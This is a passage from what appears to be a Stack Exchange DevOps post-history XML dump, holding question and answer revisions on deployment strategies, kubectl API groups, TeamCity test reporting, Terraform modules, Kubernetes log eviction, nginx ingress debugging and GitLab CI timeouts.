PostgreSQL Clusters in Cloud (Part II)](https://www.2ndquadrant.com/en/blog/near-zero-downtime-automated-upgrades-postgresql-clusters-cloud-part-ii/)&#xD;&#xA;&#xD;&#xA;# P.s some definitions. &#xD;&#xA;&#xD;&#xA;Just to...&#xD;&#xA;&gt; ... sort the buyers from the spyers, the needy from the greedy...&#xD;&#xA;&#xD;&#xA;And `blue/green deployment` vs `canary deployment` vs `A/B test`&#xD;&#xA;&#xD;&#xA;# Definitions, kinds of deployments and tests&#xD;&#xA;(see details in [these answers](https://stackoverflow.com/questions/23746038/canary-release-strategy-vs-blue-green) )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* **Blue-Green Deployment** - When deploying a new version of an application, a second environment is created. Once the new environment is tested, it takes over from the old version. The old environment can then be turned off.&#xD;&#xA;    &#xD;&#xA;* **A/B Testing** - Two versions of an application are running at the same time. A portion of requests go to each. Developers can then compare the versions.  &#xD;&#xA;&#xD;&#xA;* **Canary Release** - A new version of a microservice is started along with the old versions. That new version can then take a portion of the requests and the team can test how this new version interacts with the overall system.&#xD;&#xA;&#xD;&#xA;* **Feature flagging** - The action of &quot;configuring&quot; (cold, or even hot) which functionality is (not)available for which (group) of users. If you also do something like &quot;feature flagging&quot; you can deploy first, measure soundness of your release in backwards compatibility/bug perspective, and release new functionality gradually to different users, or vice versa (scale down or even rollback functionality and/or binaries). Feature flagging allows for splitting availability of functionality from deployment of binaries, and gives much more fine-grained decision making then only &quot;deploy/rollback&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# P.P.S `Blue/Green` vs `Canary`&#xD;&#xA;&#xD;&#xA;[source](https://github.com/lerndevops/educka/blob/master/other/Canary-vs-Blue-Green-Deployments.md)&#xD;&#xA;&#xD;&#xA;* Both blue-green and canary releases solve the same purpose&#xD;&#xA;&#xD;&#xA;* Although both of these terms look quite close to each other, they have subtle differences. One put confidence in your functionality release and the other put confidence the way you release.&#xD;&#xA;&#xD;&#xA;## Blue-Green Deployment&#xD;&#xA;&#xD;&#xA;&gt; When deploying a new version of an application, a second environment is created. Once the new environment is tested, it takes over from the old version. The old environment can then be turned off.&#xD;&#xA;&#xD;&#xA;`1. It is more about the predictable release with zero downtime deployment.`&#xD;&#xA;&#xD;&#xA;`2. Easy rollbacks in case of failure.`&#xD;&#xA;&#xD;&#xA;`3. Completely automated deployment process`&#xD;&#xA;&#xD;&#xA;`4. In cloud environment where it is easier to script &amp; recreate infrastructure, blue/green deployment is preferred as it allows the infrastructure to be in sync with the automation`&#xD;&#xA;&#xD;&#xA;## Canary Release&#xD;&#xA;&#xD;&#xA;&gt; A new version of a microservice is started along with the old versions. That new version can then take a portion of the requests and the team can test how this new version interacts with the overall system.&#xD;&#xA;&#xD;&#xA;`1. The canary release is a technique to reduce the risk of introducing a new software version in production by slowly rolling out the change to a small subset of users before rolling it out to the entire infrastructure.`&#xD;&#xA;&#xD;&#xA;`2. It is about to get an idea of how new version will perform (integrate with other apps, CPU, memory, disk usage, etc).`&#xD;&#xA;&#xD;&#xA;See also illustration ([source](https://stackoverflow.com/a/47397219/5720818)):&#xD;&#xA;&#xD;&#xA;Blue/Green: [![enter image description here](https://i.stack.imgur.com/RtQRg.png)](https://i.stack.imgur.com/RtQRg.png)&#xD;&#xA;&#xD;&#xA;Canary: [![enter image description here](https://i.stack.imgur.com/bA9Xi.png)](https://i.stack.imgur.com/bA9Xi.png)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34339" PostHistoryTypeId="2" PostId="11223" RevisionGUID="b66eefa4-9e24-4ad4-b34c-fbf581e2dcdf" CreationDate="2020-04-03T07:11:06.333" UserId="20411" Text="I am trying to list down resources which is in different api group. I am running the below command&#xD;&#xA;&#xD;&#xA;    [jk@ome-esrs-adapter-master csadmin]# kubectl get issuers -n default&#xD;&#xA;    Error from server (NotFound): Unable to list &quot;certmanager.k8s.io/v1alpha1, Resource=issuers&quot;: the server could not find the requested resource (get issuers.certmanager.k8s.io)&#xD;&#xA;&#xD;&#xA;As you can see it is not listing any issuer which is in default space because it is searching in this api group &quot;certmanager.k8s.io/v1alpha1&quot; and acutal resource is in &quot;cert-manager.io/v1alpha2&quot; this API group so, I have specify api group in rest call and it is listing the issuer&#xD;&#xA;&#xD;&#xA;    [jk@ome-esrs-adapter-master csadmin]# curl http://localhost:8080/apis/cert-manager.io/v1alpha2/issuers | jq .&#xD;&#xA;      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xD;&#xA;                                     Dload  Upload   Total   Spent    Left  Speed&#xD;&#xA;    100   975  100   975    0     0  47140      0 --:--:-- --:--:-- --:--:-- 48750&#xD;&#xA;    {&#xD;&#xA;      &quot;apiVersion&quot;: &quot;cert-manager.io/v1alpha2&quot;,&#xD;&#xA;      &quot;items&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;apiVersion&quot;: &quot;cert-manager.io/v1alpha2&quot;,&#xD;&#xA;          &quot;kind&quot;: &quot;Issuer&quot;,&#xD;&#xA;          &quot;metadata&quot;: {&#xD;&#xA;            &quot;annotations&quot;: {&#xD;&#xA;              &quot;kubectl.kubernetes.io/last-applied-configuration&quot;: &quot;{\&quot;apiVersion\&quot;:\&quot;cert-manager.io/v1alpha2\&quot;,\&quot;kind\&quot;:\&quot;Issuer\&quot;,\&quot;metadata\&quot;:{\&quot;annotations\&quot;:{},\&quot;name\&quot;:\&quot;ca-issuer\&quot;,\&quot;namespace\&quot;:\&quot;default\&quot;},\&quot;spec\&quot;:{\&quot;ca\&quot;:{\&quot;secretName\&quot;:\&quot;nginxsecret\&quot;}}}\n&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;creationTimestamp&quot;: &quot;2020-04-02T13:05:56Z&quot;,&#xD;&#xA;            &quot;generation&quot;: 1,&#xD;&#xA;            &quot;name&quot;: &quot;ca-issuer&quot;,&#xD;&#xA;            &quot;namespace&quot;: &quot;default&quot;,&#xD;&#xA;            &quot;resourceVersion&quot;: &quot;67806&quot;,&#xD;&#xA;            &quot;selfLink&quot;: &quot;/apis/cert-manager.io/v1alpha2/namespaces/default/issuers/ca-issuer&quot;,&#xD;&#xA;            &quot;uid&quot;: &quot;2970a3e5-6d0c-4f2b-964d-4598be9beaa3&quot;&#xD;&#xA;          },&#xD;&#xA;          &quot;spec&quot;: {&#xD;&#xA;            &quot;ca&quot;: {&#xD;&#xA;              &quot;secretName&quot;: &quot;nginxsecret&quot;&#xD;&#xA;            }&#xD;&#xA;          },&#xD;&#xA;          &quot;status&quot;: {&#xD;&#xA;            &quot;conditions&quot;: [&#xD;&#xA;              {&#xD;&#xA;                &quot;lastTransitionTime&quot;: &quot;2020-04-02T13:05:53Z&quot;,&#xD;&#xA;                &quot;message&quot;: &quot;Signing CA verified&quot;,&#xD;&#xA;                &quot;reason&quot;: &quot;KeyPairVerified&quot;,&#xD;&#xA;                &quot;status&quot;: &quot;True&quot;,&#xD;&#xA;                &quot;type&quot;: &quot;Ready&quot;&#xD;&#xA;              }&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      ],&#xD;&#xA;      &quot;kind&quot;: &quot;IssuerList&quot;,&#xD;&#xA;      &quot;metadata&quot;: {&#xD;&#xA;        &quot;continue&quot;: &quot;&quot;,&#xD;&#xA;        &quot;resourceVersion&quot;: &quot;284959&quot;,&#xD;&#xA;        &quot;selfLink&quot;: &quot;/apis/cert-manager.io/v1alpha2/issuers&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;can anyone please help how to tell kubectl to look into diffrent API groups? Because I am sure that resource is there as rest api is working and when I reapply yaml file it says Issuer unchanged.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34340" PostHistoryTypeId="1" PostId="11223" RevisionGUID="b66eefa4-9e24-4ad4-b34c-fbf581e2dcdf" CreationDate="2020-04-03T07:11:06.333" UserId="20411" Text="How to tell kubectl to use different api groups" ContentLicense="CC BY-SA 4.0" />
  <row Id="34341" PostHistoryTypeId="3" PostId="11223" RevisionGUID="b66eefa4-9e24-4ad4-b34c-fbf581e2dcdf" CreationDate="2020-04-03T07:11:06.333" UserId="20411" Text="&lt;kubernetes&gt;&lt;cert-manager&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34342" PostHistoryTypeId="2" PostId="11224" RevisionGUID="01b50783-559c-45cd-a58f-272a8b594ad6" CreationDate="2020-04-03T07:34:18.567" UserId="21497" Text="As others have pointed out, this shouldbe ethically OK.&#xD;&#xA;However, I would find it polite (and ethically correct) to add a note to a prominent place in your readme file stating that this is a forked repository and provide a link to the original." ContentLicense="CC BY-SA 4.0" />
  <row Id="34348" PostHistoryTypeId="2" PostId="11226" RevisionGUID="d351f273-68de-49bc-8152-e26a3aa2f55c" CreationDate="2020-04-03T09:53:09.480" UserId="21501" Text="So we have a TeamCity with numerous JUnit 4 test suites builds configured.&#xD;&#xA;&#xD;&#xA;The problem: Tests tab is only populated after build is complete. If build crashes, tests tab is not populated, even with tests which completed before crash.&#xD;&#xA;&#xD;&#xA;The reason for that is Surefire reporting the following to teamcity:&#xD;&#xA;&#xD;&#xA;    ##teamcity[importData tc:tags='tc:internal' type='surefire' path='.../target/surefire-reports/TEST-*.xml' whenNoDataPublished='nothing' logAsInternal='true']&#xD;&#xA;&#xD;&#xA;So TeamCity cannot know the state of tests until suite is done and XML file is written.&#xD;&#xA;&#xD;&#xA;Now, TeamCity supports real-time [tests reporting][1] with messages such as&#xD;&#xA;&#xD;&#xA;    ##teamcity[testStarted name='MyTest.test1']&#xD;&#xA;    ##teamcity[testFailed name='MyTest.test1' message='failure message' details='message and stack trace']&#xD;&#xA;    ##teamcity[testFinished name='MyTest.test1']&#xD;&#xA;&#xD;&#xA;However, Surefire (the framework responsible for running JUnit tests in Maven) does not output such messages by default.&#xD;&#xA;&#xD;&#xA;So it seems that I have three choices if I want tests to be reported in real-time:&#xD;&#xA;&#xD;&#xA;* Configure a [RunListener][2] for JUnit/Surefire to output these messages for TeamCity. Obvious problem here is that I am reinventing the wheel here. I'm also not sure that my reporting of tests will closely match Surefire's reporting of tests in XML file, which may lead to glitches and duplication of tests.&#xD;&#xA;* Change my tests to emit these messages. Easily doable since I have a common superclass for almost all tests, but reinventing the wheel is still there, as well as mismatch with XML.&#xD;&#xA;* Find a way to either configure Surefire to output these messages, or make TeamCity talk to SureFire to enable their output. I recognize that Surefire is hit-or-miss thing, but this functionality is so popular I expect it has *some* solution.&#xD;&#xA;&#xD;&#xA;Please help me choosing between these options. I have tried googling, the results are very poor.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jetbrains.com/help/teamcity/build-script-interaction-with-teamcity.html#BuildScriptInteractionwithTeamCity-ReportingTests&#xD;&#xA;  [2]: https://github.com/mbruggmann/junit-teamcity-reporter/blob/master/src/main/java/ch/mbruggmann/junit/JUnitTeamcityReporter.java" ContentLicense="CC BY-SA 4.0" />
  <row Id="34349" PostHistoryTypeId="1" PostId="11226" RevisionGUID="d351f273-68de-49bc-8152-e26a3aa2f55c" CreationDate="2020-04-03T09:53:09.480" UserId="21501" Text="Make TeamCity see test results in real time using Maven, JUnit 4 and Surefire" ContentLicense="CC BY-SA 4.0" />
  <row Id="34350" PostHistoryTypeId="3" PostId="11226" RevisionGUID="d351f273-68de-49bc-8152-e26a3aa2f55c" CreationDate="2020-04-03T09:53:09.480" UserId="21501" Text="&lt;maven&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34351" PostHistoryTypeId="2" PostId="11227" RevisionGUID="d3d5d958-69e5-4357-8343-c4304f22215a" CreationDate="2020-04-03T10:06:31.183" UserId="21503" Text="It works in dotted notation (Object.apiVersion.APIGroup), for e.g. deployments this way: `kubectl get deployments.v1.apps` In your case just try:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl get issuer.v1alpha2.cert-manager.io -n=default&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34352" PostHistoryTypeId="2" PostId="11228" RevisionGUID="88bb1d24-d949-4ade-b51f-c927fd51cbca" CreationDate="2020-04-03T10:10:31.473" UserId="21504" Text="I have a module structure like&#xD;&#xA;&#xD;&#xA;    module &quot;vpc&quot; {&#xD;&#xA;    source = &quot;./modules/vpc&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    module &quot;prod_subnets&quot; {&#xD;&#xA;    source = &quot;./modules/vpc/modules/subnets/production&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;when running am getting an error like [0m on modules/vpc/modules/subnets/production/production.tf line &#xD;&#xA;&#xD;&#xA;    162, in resource &quot;aws_subnet&quot; &quot;prod-pub-1b&quot;:&#xD;&#xA;    14:22:55 162: vpc_id = [4maws_vpc.production_vpc[0m.id&#xD;&#xA;    14:22:55 [0m&#xD;&#xA;    14:22:55 A managed resource &quot;aws_vpc&quot; &quot;production_vpc&quot; has not been declared in&#xD;&#xA;    14:22:55 prod_subnets.&#xD;&#xA;&#xD;&#xA;can anyone please help ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34353" PostHistoryTypeId="1" PostId="11228" RevisionGUID="88bb1d24-d949-4ade-b51f-c927fd51cbca" CreationDate="2020-04-03T10:10:31.473" UserId="21504" Text="How to get VPC id in Terraform module?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34354" PostHistoryTypeId="3" PostId="11228" RevisionGUID="88bb1d24-d949-4ade-b51f-c927fd51cbca" CreationDate="2020-04-03T10:10:31.473" UserId="21504" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34358" PostHistoryTypeId="5" PostId="11228" RevisionGUID="b414f7fc-b04b-4a1b-a286-e17a234032ca" CreationDate="2020-04-03T11:47:59.477" UserId="354" Comment="Fix output format" Text="I have a module structure like&#xD;&#xA;&#xD;&#xA;    module &quot;vpc&quot; {&#xD;&#xA;    source = &quot;./modules/vpc&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    module &quot;prod_subnets&quot; {&#xD;&#xA;    source = &quot;./modules/vpc/modules/subnets/production&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;when running am getting an error like&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[0m on modules/vpc/modules/subnets/production/production.tf line &#xD;&#xA;&#xD;&#xA;    162, in resource &quot;aws_subnet&quot; &quot;prod-pub-1b&quot;:&#xD;&#xA;    14:22:55 162: vpc_id = [4maws_vpc.production_vpc[0m.id&#xD;&#xA;    14:22:55 [0m&#xD;&#xA;    14:22:55 A managed resource &quot;aws_vpc&quot; &quot;production_vpc&quot; has not been declared in&#xD;&#xA;    14:22:55 prod_subnets.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;can anyone please help ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34359" PostHistoryTypeId="6" PostId="11228" RevisionGUID="9baecf87-ce65-4dbe-822c-2ef2ef82d736" CreationDate="2020-04-03T12:26:51.557" UserId="21504" Comment="edited tags" Text="&lt;terraform&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34361" PostHistoryTypeId="5" PostId="8984" RevisionGUID="58e8ae38-ba60-4243-9afe-1785db538912" CreationDate="2020-04-03T14:00:12.217" UserId="21506" Comment="add syntax highlighting" Text="Using terraform module is preferred, but if you really have to run terraform apply against a single file, I made this bash script to generate terraform apply command against all targets and modules in one file:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;#!/usr/bin/env bash&#xD;&#xA;if [[ -z &quot;$@&quot; ]]; then&#xD;&#xA;  echo &quot;Missing file input arguments&quot;&#xD;&#xA;  exit 1&#xD;&#xA;fi&#xD;&#xA;&#xD;&#xA;echo &quot;terraform apply \\&quot;&#xD;&#xA;for FILE in &quot;$@&quot;&#xD;&#xA;do&#xD;&#xA;  RESOURCE=$(sed -n 's/resource &quot;\([^&quot;]*\)&quot; &quot;\([^&quot;]*\)&quot;.*/-target=\1.\2 \\/gp' $FILE)&#xD;&#xA;  MODULE=$(sed -n 's/module &quot;\([^&quot;]*\)&quot;.*/-target=module.\1 \\/gp' $FILE)&#xD;&#xA;  if [[ -z &quot;$RESOURCE&quot; ]] &amp;&amp; [[ -z &quot;$MODULE&quot; ]]; then&#xD;&#xA;    echo &quot;Cannot detect terraform resource and module in $FILE&quot;&#xD;&#xA;    exit 1&#xD;&#xA;  fi&#xD;&#xA;&#xD;&#xA;  if [[ ! -z &quot;$RESOURCE&quot; ]]; then&#xD;&#xA;    echo -e $&quot;$RESOURCE&quot;&#xD;&#xA;  fi&#xD;&#xA;  if [[ ! -z &quot;$MODULE&quot; ]]; then&#xD;&#xA;    echo -e $&quot;$MODULE&quot;&#xD;&#xA;  fi&#xD;&#xA;done&#xD;&#xA;echo &quot;-refresh=true&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm not really a bash expert, but it was tested to work on Mac.&#xD;&#xA;&#xD;&#xA;EDIT: The sed command assumes that the resources and modules are formatted nicely according to `terraform fmt` like so:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;resource &quot;aws_eip&quot; &quot;my_public_ip&quot; {&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;my_server&quot; {&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;my_module&quot; {&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34362" PostHistoryTypeId="24" PostId="8984" RevisionGUID="58e8ae38-ba60-4243-9afe-1785db538912" CreationDate="2020-04-03T14:00:12.217" Comment="Proposed by 21506 approved by 40 edit id of 1178" ContentLicense="CC BY-SA 4.0" />
  <row Id="34363" PostHistoryTypeId="5" PostId="11224" RevisionGUID="bf947a81-c183-41be-8238-f74a692190c2" CreationDate="2020-04-03T15:13:46.963" UserId="21497" Comment="orthography" Text="As others have pointed out, this should be ethically OK.&#xD;&#xA;However, I would find it polite (and ethically correct) to add a note to a prominent place in your readme file stating that this is a forked repository and provide a link to the original." ContentLicense="CC BY-SA 4.0" />
  <row Id="34364" PostHistoryTypeId="2" PostId="11230" RevisionGUID="f49b8a84-1a98-414d-ad54-b48ee391d1a3" CreationDate="2020-04-03T15:38:51.750" UserId="6735" Text="I have been tasked with improving our cluster-level logging solution, which is fairly similar to the &quot;node-level logging agent that runs on every node&quot; in the following documentation page: https://kubernetes.io/docs/concepts/cluster-administration/logging/.&#xD;&#xA;&#xD;&#xA;Our team is concerned specifically with the following statement:&#xD;&#xA;&#xD;&#xA;&gt; By default, if a container restarts, the kubelet keeps one terminated container with its logs. If a pod is evicted from the node, all corresponding containers are also evicted, **along with their logs**.&#xD;&#xA;&#xD;&#xA;I have been unable to find more information on that policy, and I need to ensure that our logs aren't evicted before the FluentD agent in the node (configured as a DaemonSet) has picked them up from the `/var/log` folder.&#xD;&#xA;&#xD;&#xA;* Do I understand this correctly? The pod's log files will be deleted?&#xD;&#xA;* How can I prevent or delay that?&#xD;&#xA;&#xD;&#xA;In the case of an evicted pod, the latest log lines are probably the ones with the most relevant information on why that happened!" ContentLicense="CC BY-SA 4.0" />
  <row Id="34365" PostHistoryTypeId="1" PostId="11230" RevisionGUID="f49b8a84-1a98-414d-ad54-b48ee391d1a3" CreationDate="2020-04-03T15:38:51.750" UserId="6735" Text="Kubernetes pod eviction and logging" ContentLicense="CC BY-SA 4.0" />
  <row Id="34366" PostHistoryTypeId="3" PostId="11230" RevisionGUID="f49b8a84-1a98-414d-ad54-b48ee391d1a3" CreationDate="2020-04-03T15:38:51.750" UserId="6735" Text="&lt;kubernetes&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34371" PostHistoryTypeId="5" PostId="11230" RevisionGUID="47f92439-4c59-41e3-aadf-759e500db39e" CreationDate="2020-04-03T18:21:19.717" UserId="6735" Comment="added 81 characters in body; added 78 characters in body" Text="EDIT: I found this Github issue and I'm waiting for their response: https://github.com/kubernetes/kubernetes/issues/26923#issuecomment-608581984.&#xD;&#xA;&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;I have been tasked with improving our cluster-level logging solution, which is fairly similar to the &quot;node-level logging agent that runs on every node&quot; in the following documentation page: https://kubernetes.io/docs/concepts/cluster-administration/logging/.&#xD;&#xA;&#xD;&#xA;Our team is concerned specifically with the following statement:&#xD;&#xA;&#xD;&#xA;&gt; By default, if a container restarts, the kubelet keeps one terminated container with its logs. If a pod is evicted from the node, all corresponding containers are also evicted, **along with their logs**.&#xD;&#xA;&#xD;&#xA;I have been unable to find more information on that policy, and I need to ensure that our logs aren't evicted before the FluentD agent in the node (configured as a DaemonSet) has picked them up from the `/var/log` folder.&#xD;&#xA;&#xD;&#xA;* Do I understand this correctly? The pod's log files will be deleted?&#xD;&#xA;* How can I prevent or delay that?&#xD;&#xA;&#xD;&#xA;In the case of an evicted pod, the latest log lines are probably the ones with the most relevant information on why that happened!" ContentLicense="CC BY-SA 4.0" />
  <row Id="34372" PostHistoryTypeId="5" PostId="11208" RevisionGUID="d6bd6297-24d9-47df-ad6d-f282acca01ce" CreationDate="2020-04-03T19:34:35.227" UserId="20042" Comment="formatting" Text="# It just works&#xD;&#xA;&#xD;&#xA;Your configuration is correct.&#xD;&#xA;&#xD;&#xA;Provided `YAML` file generates `nginx` config like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;...&#xD;&#xA;server {&#xD;&#xA; listen       80;&#xD;&#xA; server_name  example.com;&#xD;&#xA; ...&#xD;&#xA; location ~* &quot;^/service/test&quot; {&#xD;&#xA;   root    /var/www/example.com/htdocs;&#xD;&#xA; }&#xD;&#xA;}&#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;Testing this config via [this cool tester](https://nginx.viraptor.info/) shows that location filter works:&#xD;&#xA;&#xD;&#xA;* `http://example.com/service/test1` -&gt; `Location: ^/service/test`&#xD;&#xA;* `http://example.com/service/test` -&gt; `Location: ^/service/test`&#xD;&#xA;* `http://example.com/login` -&gt; `Errors: No locations matched`&#xD;&#xA;&#xD;&#xA;For more details, see [this explanation of Ingress Path Matching](https://github.com/kubernetes/ingress-nginx/blob/5f2f0e5db3c3defd34da943002fd6c96835efcbc/docs/user-guide/ingress-path-matching.md) and examples from [NGINX Docs](https://docs.nginx.com/nginx-ingress-controller/configuration/configuration-examples/):&#xD;&#xA;&#xD;&#xA;&gt; * [_Examples_](https://github.com/nginxinc/kubernetes-ingress/tree/v1.6.3/examples) show how to use advanced NGINX features in Ingress resources with annotations.&#xD;&#xA;&gt; * [_Examples of Custom Resources_](https://github.com/nginxinc/kubernetes-ingress/tree/v1.6.3/examples-of-custom-resources) show how to use VirtualServer and VirtualServerResources for a few use cases.&#xD;&#xA;&#xD;&#xA;# Check your app&#xD;&#xA;&#xD;&#xA;Check your app, maybe it forward non-authorized requests to `/login` url.&#xD;&#xA;You may use `curl -v` or `wget`, e.g:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;curl -v -L http://example.com/service/test1 | egrep &quot;^&gt; (Host:|GET)&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;wget  http://example.com/service/test1 2&gt;&amp;1 | grep Location&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# Howto debug `nginx ingress`&#xD;&#xA;&#xD;&#xA;There is an [`Nginx` debug mode](http://nginx.org/en/docs/debugging_log.html) for debugging `nginx` `locations` and redirects.&#xD;&#xA;To enable it, use ` --v=5` in `kubectl edit deploy`.&#xD;&#xA;&#xD;&#xA;See: [k8s debug logging](https://kubernetes.github.io/ingress-nginx/troubleshooting/#debug-logging):&#xD;&#xA;&#xD;&#xA;&gt; Using the flag `--v=XX` it is possible to increase the level of logging. This is performed by editing the deployment.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ```&#xD;&#xA;&gt; $ kubectl get deploy -n &lt;namespace-of-ingress-controller&gt;&#xD;&#xA;&gt; NAME                       DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE&#xD;&#xA;&gt; default-http-backend       1         1         1            1           35m&#xD;&#xA;&gt; nginx-ingress-controller   1         1         1            1           35m&#xD;&#xA;&gt; &#xD;&#xA;&gt; $ kubectl edit deploy -n &lt;namespace-of-ingress-controller&gt; nginx-ingress-controller&#xD;&#xA;&gt; # Add --v=X to &quot;- args&quot;, where X is an integer&#xD;&#xA;&gt; ```&#xD;&#xA;&gt; &gt; * `--v=2` shows details using `diff` about the changes in the configuration in nginx&#xD;&#xA;&gt; * `--v=3` shows details about the service, Ingress rule, endpoint changes and it dumps the nginx configuration in JSON format&#xD;&#xA;&gt; * `--v=5` configures NGINX in [debug mode](http://nginx.org/en/docs/debugging_log.html)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34373" PostHistoryTypeId="5" PostId="11147" RevisionGUID="526bad87-caf2-4744-a96a-dad3994057cd" CreationDate="2020-04-03T19:37:13.553" UserId="20042" Comment="deleted 68 characters in body" Text="There are three types of timeouts in `Gitlab CI`:&#xD;&#xA;&#xD;&#xA;* `Project` timeout&#xD;&#xA;* `Runner` timeout&#xD;&#xA;* `Jobs` timeout&#xD;&#xA;&#xD;&#xA;## Project `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout):&#xD;&#xA;&#xD;&#xA;&gt; Timeout defines the maximum amount of time in minutes that a job is able run. This is configurable under your project’s **Settings &amp;gt; CI/CD &amp;gt; General pipelines settings**. The default value is 60 minutes. Decrease the time limit if you want to impose a hard limit on your jobs’ running time or increase it otherwise. In any case, if the job surpasses the threshold, it is marked as failed&#xD;&#xA;&#xD;&#xA;## Runner `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner):&#xD;&#xA;&#xD;&#xA;&gt; For each `Runner` you can specify a _maximum job timeout_.&#xD;&#xA;&#xD;&#xA;`Runner` timeout settings are defined in runner's edit page&#xD;&#xA;&#xD;&#xA;## `Jobs` timeout&#xD;&#xA;&#xD;&#xA;[GitLab CI/CD Pipeline Configuration Reference | GitLab](https://docs.gitlab.com/ce/ci/yaml/README.html#timeout)&#xD;&#xA;&#xD;&#xA;`Job`'s `timeout` allows you to configure a timeout for a specific job. For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;build:&#xD;&#xA;  script: build.sh&#xD;&#xA;  timeout: 3 hours 30 minutes&#xD;&#xA;&#xD;&#xA;test:&#xD;&#xA;  script: rspec&#xD;&#xA;  timeout: 3h 30m&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# Precedence of different types of timeout&#xD;&#xA;&#xD;&#xA;The `job`-level `timeout` can exceed the [`project`-level timeout](https://docs.gitlab.com/ce/ci/pipelines/settings.html#timeout) but can not exceed the Runner-specific timeout.&#xD;&#xA;&#xD;&#xA;If `runner` timeout smaller than [`project` defined timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout), will take the precedence.&#xD;&#xA;&#xD;&#xA;## Examples of precedence of `timeout` directive&#xD;&#xA;See [Configuring GitLab Runners | GitLab](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;name: **Example 1 - Runner timeout bigger than project timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 24h&#xD;&#xA;  job_timeout: 4h&#xD;&#xA;  resulting_timeout: 4h&#xD;&#xA;  &#xD;&#xA;name: **Example 2 - Runner timeout not configured**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  job_timeout: 4h&#xD;&#xA;  resulting_timeout: 4h&#xD;&#xA;&#xD;&#xA;name: **Example 3 - Runner AND job timeout are not configured**&#xD;&#xA;  project_timeout: 24h&#xD;&#xA;  resulting_timeout: 24h&#xD;&#xA;&#xD;&#xA;name: **Example 4 - Runner timeout smaller than project timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 30m&#xD;&#xA;  resulting_timeout: 30m&#xD;&#xA;&#xD;&#xA;name: **Example 5 - Runner timeout smaller than Project timeout, Job timeout is bigger than Runner timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 30m&#xD;&#xA;  job_timeout: 1h&#xD;&#xA;  resulting_timeout: 30m&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34374" PostHistoryTypeId="2" PostId="11232" RevisionGUID="f14f968f-e979-473d-863a-aac7e2f4c33f" CreationDate="2020-04-03T19:45:09.233" UserId="2494" Text="I am on a large team with many developers. We have a large codebase that has many feature branches from our large group of developers. We are accumulating many feature branches.&#xD;&#xA;&#xD;&#xA;We generally look to git-flow for best practices.&#xD;&#xA;&#xD;&#xA;How long should feature branches last?&#xD;&#xA;&#xD;&#xA;Is it safe enough and not costly or degrading to performance to keep all of them?&#xD;&#xA;&#xD;&#xA;Are there considerations and maintenance commands that developers need to execute every so often to have working, efficient, and responsive git ?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="34375" PostHistoryTypeId="1" PostId="11232" RevisionGUID="f14f968f-e979-473d-863a-aac7e2f4c33f" CreationDate="2020-04-03T19:45:09.233" UserId="2494" Text="How long is it appropriate to keep old feature branches in git?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34376" PostHistoryTypeId="3" PostId="11232" RevisionGUID="f14f968f-e979-473d-863a-aac7e2f4c33f" CreationDate="2020-04-03T19:45:09.233" UserId="2494" Text="&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
